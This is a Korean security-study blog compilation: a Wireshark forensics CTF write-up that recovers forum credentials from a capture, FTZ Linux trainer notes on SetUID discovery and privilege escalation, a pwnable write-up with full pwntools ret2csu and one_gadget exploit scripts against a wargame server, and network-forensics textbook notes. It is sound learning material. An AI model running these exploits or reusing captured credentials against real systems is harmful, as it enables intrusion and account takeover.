728x90

포렌식 교육 5주차 문제에 해당하는 포렌식 분야의 문제인

board 문제 풀이입니다.

 

우선, 이 문제는 포렌식 교육에서 제공된 문제입니다.

문제 파일을 공유할 수는 없겠지만, 풀이를 재밌게 봐주셨으면 합니다.

 

필요한 도구

.pcap, .pcapng 네트워크 / USB 패킷 등을 분석할 때 사용하는

Wireshark

(https://www.wireshark.org/download.html)

 

Wireshark · Download

Riverbed is Wireshark's primary sponsor and provides our funding. They also make great products that fully integrate with Wireshark. I have a lot of traffic... ANSWER: SteelCentral™ AppResponse 11 • Full stack analysis – from packets to pages • Ric

www.wireshark.org


문제 풀이

우선, zip 파일을 다운받아서 압축을 풀면, txt와 pcapng 파일이 들어있다.

txt 파일 내용

불법 게시물이 몇 개 올라갔고, 게시물을 올린 계정의 id/pw, 글의 내용을 찾아야 하는 문제인 것 같다.

 

Wireshark를 이용해서 pcapng 파일을 열어보았다.

패킷 분석

굉장히 많은 데이터가 담겨있다.

우선, 필터링 기능을 활용해서 HTTP 프로토콜만 확인해보았다.

 처음에는 이것 저것 다 살펴봤는데, 찾다 보니까

login한 부분, user 등록한 부분, board list 부분, write, delete 등의 기록이 보인다.

 

여러 기록들

좀 더 자세히 살펴보았더니 유용한 정보를 확인할 수 있었다.

(처음에는 진짜 하나 하나 다 읽어서 분석하느라, 눈 빠지는 줄 알았다....ㅠ)

mandu-mandu.shop

mandu-mandu.shop 이라는 호스트에 접속을 했고, 회원가입을 하고 글을 작성한 것 같다.

 

실제로 해당 사이트가 있는지 궁금해서 방문해보니 존재했다..!

mandu-mandu.shop

유저 등록을 했을테니, 그 과정에서 ID와 PW를 찾을 수 있을 것 같아 보인다.

 

두 개의 register 기록이 있는데, 둘 다 확인해보았다.

(※ Post 방식은 데이터가 body에 포함되어 전달되어서 확인해볼 수 있다.)

guest/guest가 아이디 비번이며, 닉네임은 guest1인 것을 알 수 있다.

hacker/helloworld가 아이디 비번이며, 닉네임은 seller인 것을 알 수 있다.

확실히 이쪽이 더 불법 게시물을 올린 사람 같아 보인다.

 

혹시나 해당 아이디/비번으로 로그인이 가능한지 궁금해서 시도해봤는데,

해당 사이트에서 차단당한 것 같아 보인다...ㅎ

 

이어서 올린 게시물을 찾아봤는데 세 가지 기록이 존재했다.

 

순서상으로

guest가 먼저 글을 작성했다.

별다른 내용은 없는 것 같다.

 

이어서, seller 즉, hacker가 작성한 게시물이다.

CTF flag를 판매하는 글을 올렸다..!

 

해당 글은 삭제되고, 다시 새로운 글이 올라왔는데

삭제되어서 다시 올렸다는 말과, 플래그 값이 담겨 있는 것을 확인할 수 있었다.

 

문제 해결~!!!

 

728x90
728x90

서버를 구축하고, trainer1 ~ trainer10까지 코스를 완주했습니다. 생각보다 내용이 엄청나게 많지는 않았지만, 꾸준하게 복습하고 궁금한 것은 더 찾아보면서 공부해야 할 것 같습니다.

 

trainer1 (trainer1): 파일, 디렉토리 살펴보는 방법

리눅스 접속시 나타나는 프롬프트

[trainer1@ftz trainer1]$   

=> trainer1: 접속 ID, ftz: 서버, trainer1: 현재 위치

 

ls: 현재 위치를  기준으로 컴퓨터에 설치된 폴더들과 파일들을 보여줌.

ls -l: 디렉토리와 파일을 구분해줌. 

 

ls -l 예시

 

이 난이도에서는 우선, -rw-rw-r--, drwxr-xr-x에서 맨 앞에 d가 오면 디렉토리, -가 오면 파일로 받아들일 수 있습니다.

779, 1024는 사이즈, 옆에는 날짜와 시간 정도로만 알고 나중에 높은 트레이닝 단계에서 배웁니다.

 

ls -a: 숨겨진 파일 리스트를 보여줌.

ls -al: 숨겨진 파일과 디렉토리 리스트를 보여줌.

 

trainer2 (linuxer): 디렉토리간의 이동, 디렉토리 형성, 삭제, 복사, 이동 등..

pwd: 현재 경로를 알려줌.

cd .. : 폴더 내부에서 한 단계 위로 이동   (ex. /home/training  -----> /home)

cd 폴더명: 해당 폴더로 이동

cd / : 최상위 폴더로 이동                     (ex. /home/training/example   -------> / )

mkdir 폴더명: 폴더 생성

rmdir 폴더명: 해당 폴더 삭제

cp 복사원본 복사사본: 원본을 복사하여 사본을 만듦

rm 파일이름: 해당 파일을 삭제

mv 복사원본 복사사본: 원본을 복사하여 사본을 만들지만, 원본은 삭제함.  (이름 바꿀 때 자주 사용함.)

 

trainer3 (computer): 콘솔(터미널)과 네트워크 

w: 서버에 접속한 사람들 정보를 볼 수 있음 / TTY(콘솔 접속), pts(터미널 접속)

 

w 입력 예시

 

1) 어떤 ID로 로그인 했는지

2) 콘솔로 접속했는지 혹은 터미널로 접속했는지  tty: 콘솔, pts: 터미널  터미널은 접속한 순서대로 pts/0, pts/1, pts/2...

3) 접속한 사람의 IP

4) 로그인한 시간

5) IDLE: 지연시간, 사용자가 얼마나 오랫동안 아무것도 입력하지 않고 쉬고 있는지를 알 수 있음.

6) JCPU: 각 사용자가 CPU를 사용한 지연 시간을 보여줌.

7) PCPU: WHAT 필드에 있는 명령이 지연된 시간

8) 접속한 사용자들이 현재 어떤 명령어를 사용하고 있는지 보여줌.

 

finger -l: 사용자 정보를 더 자세히 볼 수 있음.

tty: 자신의 터미널 정보를 확인할 수 있음.

ifconfig: 현재 접속한 서버의 IP 주소를 볼 수 있음.

- write ID /dev/pts/번호 : 해당 ID를 가진 사람에게 쪽지를 보낼 수 있음.

- wall 전달하고 싶은 말: 전체에게 쪽지 보내기

 

trainer4 (mungguta): 리눅스의 디렉토리에 대한 설명

최상위 디렉토리

bin: 가장 필수적인 리눅스 실행 파일이 들어가 있음. (ex. ls, rm 등..)

- boot: 리눅스 부팅 관련 파일들과, 리눅스의 심장인 커널이 들어있음.

- dev: 컴퓨터에 설치된 하드웨어에 관한 정보들이 파일 형태로 저장되어 있음.

- etc: 많은 중요한 파일들이 들어 있음. 패스워드 파일, 쉐도우 파일, 그 외 대부분의 리눅스의 설정 파일

- home: 일반 사용자들의 디렉토리가 들어가는 곳

- lib: 많은 라이브러리 파일들이 들어가 있음.  (ex. c언어 라이브러리 파일)

- mnt: mount 명령어를 통해 마운트시킨 시디룸 등이 들어가는 디렉토리

- proc: 프로세스들이 파일 형태로 저장되는 디렉토리

- root: 루트의 home 디렉토리

- sbin: 기본 명령어를 제외한 시스템 관리용 실행 파일들이 들어있는 디렉토리입니다.

- tmp: 임시로 파일을 저장하는 디렉토리, 권한에 상관없이 누구나 이 디렉토리 파일 생성 가능

- usr: 다양한 응용 프로그램들이 설치되어 있는 곳

- var: 시스템 운영 중에 생성되는 각종 임시 파일들이 들어가 있으며, 외부 접속에 대한 로그 파일들이 저장됨.

 

특별히 중요한 역할을 하는 파일

- /etc/passwd: 사용자들에 대한 간단한 정보

- /etc/shadow: 사용자들의 패스워드가 들어있으며, 아무나 볼 수 없게 설정되어 있음.

- /etc/services: 서버가 어떤 어떤 서비스를 하는 중인지 보여줌.

- /etc/issue.net: 처음 접속할 때 나오는 화면

- /etc/motd: 로그인 후에 나오는 메세지가 들어가 있음.

- ~/public_html: 각 사용자들의 홈페이지 파일이 들어가 있음. 보통 해킹에 성공하면 이 파일을 수정해서 hacked by xxx 와 같은 문구를 남김.

 

trainer5 (goodluck): 서버의 정보 수집

- whoami: 내가 누구인지, 자신의 정보 수집

- id: whoami보다 좀 더 자세한 정보 수집 

- uname -a: 서버의 커널 버전을 알 수 있음. 서버에 아이디가 있는 상태에서 정보를 캐낼 때 가장 먼저 함.

- cat /etc/*release: 서버에 설치된 OS 버전 알아낼 수 있음.

- rpm -qa: 패키지 정보(버전), 해킹 가능 여부 판단 가능 (예전 버전인 경우 알려진 취약점으로 공략 가능)

- cat /proc/cpuinfo: 해당 서버의 CPU 정보 수집

 

trainer6 (coffee): 패스워드 파일 분석 ( cat /etc/passwd)

패스워드 파일은 한 서버를 사용하는 사용자들의 모든 정보를 기록해 놓은 파일을 의미함.

예시) root : x : 0 : 0 : Admin : /root : /bin/bash

 

cat /etc/passwd 결과의 예시

 

: 을 구분자로 7개의 필드로 나누어져 있다.

 

- 첫 번째 필드에 있는 root: 서버에 로그인할 때 사용되는 ID

- 두 번째 필드에 있는 x : 패스워드 부분, 원래는 암호화된 문자열이 있지만 보안 문제로 x로 표기

( /etc/shadow 파일에 패스워드가 담겨있고 root 권한만 열어볼 수 있음)

 

- 세 번째 필드에 있는 0: root를 0으로 본 것임. (ID가 컴퓨터 상에서 숫자로 받아들여짐.)

- 네 번째 필드에 있는 0: 사용자가 속해있는 그룹을 말해줌.

- 다섯 번째 필드에 있는 Admin: 사용자의 이름

- 여섯 번째 필드에 있는 /root: 사용자가 로그인에 성공하게 되었을 때 기본적으로 위치하게 되는 디렉토리

- 일곱 번째 필드에 있는  /bin/bash: 사용자가 처음 로그인했을 때 실행되게 할 프로그램.

 

trainer7 (to the top): 리눅스 환경에서의 압축, 압축 해제

tar 사용법

"합치기  : # tar cvf 합칠 파일 합칠 파일들"

"해제하기  : # tar xvf 해제할 파일"

  • Create  : 새로운 파일을 만드는 옵션
  • eXtract  : 압축을 해제시키는 옵션
  • View  : 압축이 되거나 풀리는 과정을 출력하는 옵션
  • File  : 파일로서 백업을 하겠다는 옵션

ex. tar cvf songs.tar *   

==> songs.tar이란 파일을 만드는데 *옵션으로 현재 디렉토리에 있는 모든 파일들을 합쳐서 만든다는 의미이다.

 

※ tar은 압축하는 프로그램이 아니라 그저 파일들을 합치는 프로그램임. tar을 사용하면 용량이 더 커짐.

그래서, 복구 측면에서 파일을 그냥 합치기만 했기 때문에 매우 빠름.

 

gzip과 함께 많이 쓰이는데, gzip은 한 번에 한 개의 파일만 압축할 수 있어서 보통 tar로 합치고 gzip으로 압축함. 

gzip 사용법

"gzip 파일이름   - 선택된 파일을 압축한다."

"gzip -d 파일이름   -선택된 파일을 압축해제한다."

 

압축 파일의 확장자

- .tar : tar 프로그램을 사용하여 압축된 파일로, 실은 압축된 것이 아니라 여러 파일이 하나로 뭉쳐져 있음.

- .gz : gzip 프로그램을 사용하여 압축된 파일임.

- .tar.gz : tar 프로그램을 사용하여 파일을 합친 후, 또 다시 gzip 프로그램으로 압축한 파일

- tgz : .tar.gz 를 합쳐서 tgz 확장자로 만든 경우

 

.tar.gz의 경우 gzip -d를 먼저 하고, tar xvf를 해주어야 함.

 

trainer8 (player): 파일을 만들고, 컴파일하는 방법

텍스트 파일 생성 방법

1. 쉘 프롬프트 상태에서  cat > 파일이름.txt 라고 입력

2. 원하는 내용을 주욱 써내려간다.

3. 컨트롤키와 D키를 동시에 누른다.

 

'>'은 리다이렉션으로 방향을 전환한다는 의미를 가진다. 

입력 결과를 모니터가 아닌 파일에 보냄. 즉, 출력의 방향을 전환함

왼쪽에서 출력되는 것을 받아서 오른쪽의 입력으로 보내겠다는 의미

 

만약 내용을 추가할 경우 리다이렉션을 두번 입력해야 함. 

    ex.    cat >> 내용 추가할 파일.txt

컴파일 방법

"gcc -o 파일 이름 소스파일 이름"

소스파일을 컴파일하여 정해준 파일 이름으로 실행 파일이 만들어집니다.

 

trainer9 (programming): 리눅스 권한

4가지 종류의 사용자

- 유저: 자신을 의미함. 만약 player1이라는 ID로 로그인하면 player1이라는 유저가 된다.

- 그룹: 모든 유저는 하나 이상의 그룹에 속한다.

(임의로 그룹을 변경하지 않는 한 모든 유저는 자신의 유저네임과 같은 이름의 그룹에 속하게 된다.)

 

- 아더: 이것은 유저와 그룹을 제외한 모든 다른 사람을 의미한다.

- 루트: 절대적인 권한을 가지고 있는 사용자. 이 절대적인 루트 권한을 획득하는 것이 해킹을 의미한다.

(영어 뜻 그대로 user, group, other의 의미간 담겨있네요..!)

 

id 입력 예시

 

- uid: User ID의 약자로 ID를 의미한다. 해당 리눅스에서 2009는 trainer9과 같은 의미로 사용되고 있다.

- gid: Group ID의 약자를 의미함. 특별한 일이 없다면 gid와 uid는 항상 같다.

- group: 현재 자신이 속한 그룹을 알려줌. 기본적으로 uid와 같은 그룹에 속한다.

 

파일 권한

 

파일 권한 예시

 

- rwx rwx rwx 부분

- 부분: 파일임을 알려줌.

순서대로 rwx rwx rwx는 권한을 나타내는데, 순서대로 유저의 권한, 그룹의 권한, 아더의 권한을 나타냄.

  • r: 읽기 권한

  • w: 쓰기 권한

  • x: 실행 권한

  • s: SetUID가 걸려있다는 의미, x권한도 가짐.

trainer9 trainer10 부분

순서대로 유저, 그룹을 나타낸다.

 

해석해보면, trainer9이라는 uid를 가진 사용자에게 읽고, 쓰고, 실행할 수 있는 권한이 있으며,

trainer10이라는 gid를 가진 사용자에게도 똑같은 권한이 있음.

그 외의 아더 즉, 다른 사용자들도 rwx 권한을 가짐.

 

x가 존재하는지 여부에 따라서 실행파일임을 알 수 있다.

 

trainer10 (best!): Local 해킹시 핵심이 되는 SetUID

Remote 해킹: 자신이 해킹하고자 하는 서버에 아이디를 가지고 있지 않을 때, 아이디를 얻고자 시도하는 것을 의미함.

 

Local 해킹: 해킹하고자 하는 서버에 일반 계정을 가지고 있는 경우, 관리자 권한(root)을 얻고자 시도하는 것을 의미함.

=> SetUID를 이용함!

(SetUID가 걸린 파일의 취약점을 찾아 공략해서 루트 권한의 쉘을 획득한다.)

 

- SetUID: 일시적으로 자신의 ID를 변경하는 것을 의미함.

 

 

SetUID가 사용되는 배경

 

정말 완벽한 예시인 것 같다.. 저도 이거 읽자마자 확 와닿았으니, 혹시라도 보시는 분은 위의 사진 내용을 꼭 참고하시길 바랍니다.

 

즉, SetUID가 걸린 파일을 실행해서 나의 아이디가 root로 변경되는 것을 이용하는 것입니다.

 

지금까지 발견된 기법

- 레이스컨디션

- IFS 버그

- 링크 버그

- 버퍼 오버플로우

- 포맷 스트링 버그

등....

 

이러한 버그로 루트 권한을 넘겨준 파일들

- userhelper

- imwheel-solo

- restore

- screen 

등....

 

SetUID가 걸려있는 파일 찾기

find / -perm -4000

=> / 에서부터 적어도 SetUID가 걸린 모든 파일을 찾아라라는 의미

-는 적어도라는 의미, -perm은 권한을 찾겠다라는 옵션, '4'는 SetUID, '000'은 rwx 모두를 의미함.

 

find 명령어의 옵션

-perm: 권한과 일치하는 파일을 찾는다. 

-name: 이름과 일치하는 파일을 찾는다.

-user: 유저와 일치하는 파일을 찾는다.

-group: 그룹과 일치하는 파일을 찾는다.

 

ex. find / -user root -perm -4000 :루트의 권한으로 SetUID가 걸린 파일을 찾아라.

 

해커스쿨 레벨별 통과하는 방법

1. 자신의 아이디가 level3이라고 해보자.

2. level4로 넘어가기 위해서, level4의 권한으로 SetUID가 걸린 파일을 찾는다.

-----> find / -user level4 -perm -4000

3. 그럼 한개 이상의 파일이 발견될 것이다.

4. 그 파일은 임의로 작성된 "멍청한 파일"이다.

5. 그 파일을 이용하여 level4의 쉘을 얻으면 성공!

6. my-pass 라고 입력하면 level4의 패스워드가 나온다.

 

끝~~

 

더보기

공부하는 것보다... 정리하는 시간이 더 오래 걸린 것 같다...

앞으로는 더 깔끔하고 효율적으로 작성해야겠다.

728x90
728x90
더보기

한동안 포너블 문제 풀이를 올리지 않아서

밀린 문제들이 너무 많아요...

그동한 푼 문제들 정리해서 차차 올리도록 해야겠다..!

 

GgangCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

http://123.143.18.212:4000/입니다.

저희 학교 과(동아리)에서 운영중인 사이트이므로 많은 분들이 방문해서 문제 풀어보시길 바랍니다~!!

정말 재밌는 문제들 많습니다 :)

 

문제 풀이 전 필요한 개념

이번 문제는 RTC 기법을 사용해서 풀 수 있는 문제입니다.

전에 RTC 기법과 관련된 문제 풀이를 작성했기 때문에 개념 설명은 넘어가도록 하겠습니다.

 

밑에 있는 제 글을 참조하시면 좋을 것 같습니다.

(https://bgm2020.tistory.com/29?category=955990)

 

[포너블] HackCTF RTC 문제 풀이 | RTC 기법 return to csu

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/입니다. HackCTF Do you wanna be a God? If so, Challenge! ctf.j0n9hyun.xyz 오늘 풀어볼 문제는 HackCTF에 있..

bgm2020.tistory.com

더불어, 저는 One_gadget을 사용했기 때문에

관련 개념도 밑에 있는 제 글을 참조해주세요.

(https://bgm2020.tistory.com/36)

 

[포너블] Ggang CTF korean_wizard 문제 풀이 | magic gadget, One-gadget 사용, main으로 돌아가기

GgangCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 http://123.143.18.212:4000/입니다. 저희 학교 과(동아리)에서 운영중인 사이트이므로 많은 분들이 방문해서 문제 풀어보시길 바

bgm2020.tistory.com


문제 풀이

자, 그럼 문제 풀이를 시작하겠습니다.

 

문제 페이지

문제에서 접속 주소와 실행파일을 제공해줍니다.

더불어, Return..Return이라는 문구가 있는데 힌트인 것 같습니다.

 

해당 파일을 다운받아서 실행시켜보고, 보안기법을 확인해봅시다.

로컬 실행

이 프로그램을 익스플로잇할 수 있겠냐고 물어보고 입력을 받습니다.

입력받으면 바로 종료하네요..

 

보안기법을 확인하면,

보안기법

NX bit 기법만 걸려있고, RELRO는 Partial이므로 got_overwrite가 가능합니다.

(그동안, gdb로 체크했는데 checksec으로 한번 확인해봤어요)

 

 

자, 그럼 보안기법도 확인했으니 IDA Pro로 열어봅시다!

main 코드

main 코드는 매우 간단합니다.

init_program 함수(버퍼 클리어)를 실행하고,

Can you exploit this program이라는 문장을 출력하고, buf에 최대 0xDE 만큼 입력받습니다.

이 때, buf 사이즈는 0x20 이므로 BOF가 발생할 수 있습니다.

 

문제 풀이 구상

우선,ASLR이 걸려있어서 read와 write 함수만 사용할 수 있기 때문에

gadget을 이용해서 ROP 기법을 사용한다고 생각했는데, 적당한 gadget이 없었습니다.

그래서, csu 함수를 이용하는 RTC 기법을 사용해야 함을 느꼈습니다.

 

명령어: objdump -M intel -d ./exploitable_1

찾아본 결과

인자 3개를 사용할 수 있게끔 csu gadget을 찾을 수 있었습니다.

 


단계별 공략

이를 바탕으로 공략을 구상해보면,

 

1.

libc_base와 offset을 활용하기 위해서

어떤 라이브러리 파일을 사용하는지 알아내야 합니다.

 

방법: read, write 함수의 실제 주소를 알아내서 하위 1.5바이트를 비교해서 라이브러리 버전 알아내기

 

2.

라이브러리 파일 종류를 알아낸 이후, libc_base와 offset을 이용해 one_gadget 주소 얻기

 

3.

one_gadget 주소를 넣어 실행


페이로드 작성 및 실행

우선, 어떤 라이브러리 파일을 사용하는지 알기 위해서 

다음과 같은 페이로드를 사용했습니다.

from pwn import*
context.log_level = "debug"
p = remote("123.143.18.212", 50006)
#p = process("./exploitable_1")

e = ELF("./exploitable_1")

read_got = e.got['read']
write_got = e.got['write']


libc_csu1 = 0x401232
libc_csu2 = 0x401218

payload = "a"*32 + "b"*8
payload += p64(libc_csu1)

payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(libc_csu2)

payload += "a"*8
payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(libc_csu2)

p.recv()

p.sendline(payload)

read_address = u64(p.recv(6).ljust(8, "\x00"))
log.info("read_address: 0x%x" %read_address)

p.recv()

write_address = u64(p.recv(6).ljust(8, "\x00"))
log.info("write_address: 0x%x" %write_address)

p.interactive()

실행결과

read: 0x7f9ae5816310

write: 0x7f9ae5816370

실제 주소를 바탕으로 libc 버전을 확인해보면 다음과 같습니다.

이제 다 찾았으니, 제대로 된 페이로드를 짜봅시다.

from pwn import*
context.log_level = "debug"
p = remote("123.143.18.212", 50006)
#p = process("./exploitable_1")

e = ELF("./exploitable_1")
libc = ELF("./libc.so.6")

read_got = e.got['read']
write_got = e.got['write']

read_offset = libc.symbols['read']
one_shot_offset = [0xf1207, 0xf0364, 0x4527a, 0x45226]

libc_csu1 = 0x401232
libc_csu2 = 0x401218
main = 0x40118B


payload = "a"*32 + "b"*8
payload += p64(libc_csu1)

payload += p64(0)
payload += p64(1)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(libc_csu2)

payload += "a"*8*7
payload += p64(main)
p.recv()

p.sendline(payload)

read_address = u64(p.recv(6).ljust(8, "\x00"))
log.info("read_address: 0x%x" %read_address)

libc_base = read_address - read_offset
magic = libc_base + one_shot_offset[2]

p.recv()
payload = "a"*32 + "b"*8
payload += p64(magic)

p.sendline(payload)

p.interactive()

우선, RTC 기법을 사용하여, read 함수의 실제 주소를 얻어, libc_base를 얻습니다.

 

이로 인해서,

libc_base와 offset을 이용해서 one_shot_gadget의 주소를 얻을 수 있게 됩니다.

 

더불어, 이어서 chaining 하기에는 입력 받는 사이즈가 부족하기 때문에 main 함수로 다시 돌아가서

다시 더미로 채우고 ret에 one_shot_gadget 주소를 넣어서 

쉘을 획득합니다!

 

위의 페이로드를 실행하면 다음과 같이 플래그 값을 얻을 수 있습니다.

플래그 획득


처음에 아무 생각 없이 RTC로 작성했는데,

입력 받는 크기가 0xDE라서 중간에 페이로드가 짤렸다...

그걸 모르고 계속 삽질하다가 나중에서야 알고 main으로 return해서 시도했다..!

 

더불어, one_shot_gadget은 되는 것도 있고 안되는 것도 있기에

하나씩 시도해보는게 좋은 방법 같다.

 

728x90
728x90

책 소개

제목: 이제 시작이야 디지털 포렌식

내용: 디지털 포렌식의 입문자들을 위한 책으로 포렌식의 기초를 다루고 있다. (비전공자들도 쉽게 보고 이해할 수 있음.)

개인적인 평가: 번역이 아쉬움.... (원문을 접할 수 있다면, 원문 보는 것을 추천함.)

 

http://www.yes24.com/Product/Goods/7526115

 

이제 시작이야! 디지털 포렌식

디지털 포렌식 입문을 위한 첫걸음 이 책은 디지털 포렌식에 새로이 입문하는 사람들에게 탄탄한 기초를 제공하는 입문서다. 디지털 포렌식이 무엇인지, 어떠한 방법론이 사용되는지, 핵심적인

www.yes24.com

9장 네트워크 포렌식

서론

오늘날의 사회 인프라는 디지털 네트워크에 매우 의존하고 있어서, 해킹으로 인해 큰 피해를 입을 수 있는 고 가치 자산이 매우 많습니다. 그만큼 네트워크 환경은 보안 분야에 있어서 매우 중요합니다.

 

그래서, 9 장에서는 네트워크 기초와 디지털 포렌식이 네트워크 환경에 있어서 어떠한 역할을 하는가에 대해서 다룹니다.

 

 

더보기

사회공학기법:

인증된 사용자가 인증되지 않은 사용자에게 민감한 정보를 누설하도록 만드는 기법을 의미함.

기술적으로 아무리 완벽해도, 관리자 권한(인증된 사람)을 가진 사람의 취약점을 공략한다면 무너질 수 밖에 없습니다. 실제로, 사회공학기법은 많이 사용되고 있습니다.

(영화: 후엠아이, 미드: 미스터 로봇 에서 사회공학기법이 적용되는 장면을 볼 수 있습니다. 개인적인 추천 ㅎ)

1. 네트워크 기초

네트워크 또는 컴퓨터를 서로 연결하는 것에는 자원의 공유, 협력 등과 같은 많은 이점이 있습니다.

이 때, 네트워크를 구성하기 위해서는 규모와 목적에 관계없이 반드시 필요한 기본적인 사항들이 있습니다.

  • 컴퓨터나 장비 사이의 연결 (물리적: 이더넷 케이블 혹은 무선)
  • 사전에 서로 합의한 통신 규약의 존재 (네트워크 프로토콜 ex. TCP/IP

클라이언트/서버 네트워크: 

기업 환경에서 가장 많이 볼 수 있는 네트워크 환경

 

클라이언트:

최종 사용자가 사용하는 컴퓨터로 일상에서 우리가 사용하는 PC와 같은 기기를 말합니다.

파일, 서비스 그리고 정보 등을 서버로부터 요청합니다.

 

서버:

파일, 서비스, 정보 등을 여러 클라이언트에 제공합니다.

즉, 하나의 서버가 수백 대의 클라이언트와 파일 공유가 가능합니다.

서버는 네트워크를 더 많이 통제할 수 있으며, 보통 특정한 기능 하나만을 수행합니다.

(ex. 파일 서버, 이메일 서버, 프린트 서버 등)

 

P2P(Peer-to-Peer): 

네트워크에 있는 모든 컴퓨터는 클라이언트와 서버 역할을 모두 수행할 수 있습니다.

기업에서는 P2P 네트워크를 거의 사용하지 않고, 파일 공유 프로그램에서 많이 사용합니다. (ex. 토렌트)

 

네트워크 종류

LAN (Local Area Network, 근거리 통신망): 

일반적으로 작은 사무실에서 사용하는 네트워크로 하나의 사무실이나 빌딩에 있는 컴퓨터와 기기들로 구성

 

WAN (Wide Area Network, 광역 통신망): 

LAN보다 규모가 훨씬 크며, 다른 위치에 있는 여러 개의 LAN으로 구성되어 있습니다.

 

그 이외에도 MAN (Metropolitan Area Network), PAN (Personal Area Networks), CAN (Campus Area Networks), GAN (Global Area Networks) 등이 있습니다.

 

인트라넷: 

인터넷과 상반되는 것으로 한 회사의 인트라넷은 공개되어 있지 않으며 접근이 제한적입니다.

인트라넷은 파일 공유, 통신 등에 사용되며,

웹 브라우저를 사용하고 TCP/IP를 사용하는 등 인터넷과 비슷하게 작동합니다.

 

 

TCP/IP 프로토콜을 사용하는 네트워크:

해당 네트워크는 연결되어 있는 각 컴퓨터나 기기마다 IP 주소라고 불리는 고유 식별번호가 존재합니다.

IP 주소는 실제 주소처럼 메시지와 데이터가 정확히 도착지에 전달되는데 사용됩니다.

 

IP 주소 형식은 IPv4, IPv6두 가지가 존재하는데

IPv4는 약 40억개의 IP 주소를 할당할 수 있으며 우리에게 익숙한 형식입니다.

"."으로 분리된 4개의 숫자로 구성되어 있습니다.(ex. 198.122.55.16) 

 

IPv6는 무한한 숫자의 주소를 할당할 수 있기 때문에 현재 IPv6로 교체되고 있습니다.

(ex. 2008:0eb3:29a2:0000:0000:8xld:0967:7256)

 

IP 주소는 정적 또는 동적이 될 수 있습니다. 정적 주소는 보통 고정되어 변하지 않고, 동적 주소는 주기적으로 변합니다.

(ex. 인터넷 서비스 제공업체는 정적 IP 주소를 사용합니다.)

 

데이터 전송

네트워크에 있는 데이터는 다양한 방법으로 전송되는데, 대부분 패킷 스위칭 방식을 사용합니다.

패킷 스위칭은 데이터를 패킷이라고 부르는 작은 조각으로 만들어 IP 주소를 사용해 전달하는 방식입니다.

 

모든 패킷은 헤더, 페이로드, 푸터 세 부분으로 구성되어 있습니다.

IP 패킷

헤더: 

송수신자의 IP 주소가 담겨 있으며, 주소 정보를 저장합니다.

얼마나 많은 패킷이 있으며, 그 중에서 해당 패킷은 몇 번째 패킷인지 알려줍니다.

 

페이로드:

전송되는 데이터

 

푸터:

수신자에게 해당 패킷이 마지막임을 알려주며, CRC (cyclical redundancy check, 순환 중복 검사)를 합니다.

CRC는 패킷에 있는 모든 1의 합으로 숫자가 일치하지 않는 경우,

데이터를 수신하는 컴퓨터에서 자동으로 데이터를 다시 요청해 재전송합니다.

즉, CRC는 패킷의 무결성을 검증하는 데 사용합니다.

 

게이트웨이:

네트워크로의 출입구 역할을 하는 네트워크 지점으로 한 네트워크에서 다른 네트워크로 이동하기 위해 거쳐야 하는 지점을 의미합니다.

 

브리지:

동일한 프로토콜을 사용하는 두 개의 네트워크를 연결하는 데 사용됩니다. 

 

라우터:

패킷의 위치를 추출하여, 그 위치에 대한 최적의 경로를 지정하하여 이 경로를 따라 데이터 패킷을 다음 장치로 전향시키는 장치입니다.

 

다시 말해서, IP 주소를 사용하여 네트워크에 있는 데이터를 최종 도착지로 전송합니다.

 

2. 네트워크 보안 툴

네트워크를 보호하는 데 도움이 되는 소프트웨어와 하드웨어가 많이 있습니다. 이러한 툴로 공격을 방지하는 데 도움을 얻을 수 있을 뿐만 아니라 조사와 관련된 정보를 수집할 수도 있습니다.

 

방화벽:

방화벽은 연관된 프로그램의 세트로 네트워크의 게이트웨이 서버에 위치하여 있으며, 다른 네트워크의 사용자로부터 사설 네트워크의 자원을 보호합니다. (by Tech Target, 2000) 

 

방화벽은 송수신되는 네트워크 트래픽을 필터링하는 역할을 하며, 네트워크 패킷을 유심히 조사하여 해당 트래픽을 허용할지 하지 않을지 결정합니다.

 

침입 탐지 시스템:

기업 내부와 외부의 공격을 탐지하기 위한 목적으로 만들어진 시스템입니다. 

일반적으로 네트워크에서 공격 패턴이나 일상적이지 않은 시스템 또는 사용자 활동을 모니터링합니다.

 

3. 네트워크 공격

분산 서비스 거부 공격 (Distributed Denial of Service, DDoS): 

침해된(감염된) 수많은 컴퓨터(좀비PC)를 사용하여 단 하나의 시스템을 공격하는 데 사용합니다. 

공격하는 컴퓨터들은 엄청난 양의 메시지와 요청으로 공격 대상 컴퓨터를 압도하여 공격 대상 시스템이 마비됩니다.

 

이러한 공격을 하는 컴퓨터를 통틀어 "봇넷(botnet)"이라고 부르며, "좀비(zomebies)"라고 불리는 여러 대의 침해된 컴퓨터로 이루어져 있습니다.

 

IP 스푸핑(spoofing): 

공격 대상 네트워크에 접근하기 위해서 유효하거나 "알려진" IP 주소를 위조하거나 "스푸핑"할 수 있습니다.

IP 자체의 보안 취약성을 악용한 것으로 자신의 IP 주소를 속여서 접속하는 공격을 말합니다.

즉, 공격자가 인증된 혹은 신뢰성 있는 사용자가 송신한 것처럼 패킷의 소스 IP를 변조하여 접속하는 공격입니다.

 

중간자 공격(Man-In-The-Middle-Attack): 

특정 사용자와 그 사용자가 통신하는 컴퓨터 사이에 공격자 자신을 삽입하는 공격입니다.

이를 통해서 사용자가 하는 통신을 모니터하고 변경 또는 삭제할 수 있으며, 해당 사용자 행세를 할 수 있습니다.

 

사회공학기법:

사회공학기법은 해커들이 사용할 수 있는 공격 중에서 가장 효과적인 공격 중 하나입니다.

(기술적으로 해결하는 것보다 사람의 취약점을 공략하는 것이 더 쉽고 효과적이고 강력하기 때문!)

 

사회공학기법은 보호되어 있는 정보를 "속임수"나 "사기"로 획득하는 것입니다. 

(ex. 공격 대상 회사의 직원에게 관심있는 분야의 이메일을 보내는 등의 행위를 취해서 공략)

 

풋 프린팅/핑거 프린팅:

공격자가 열려있는 포트나 서비스를 스캔하는 자동화 작업을 의미합니다.

 

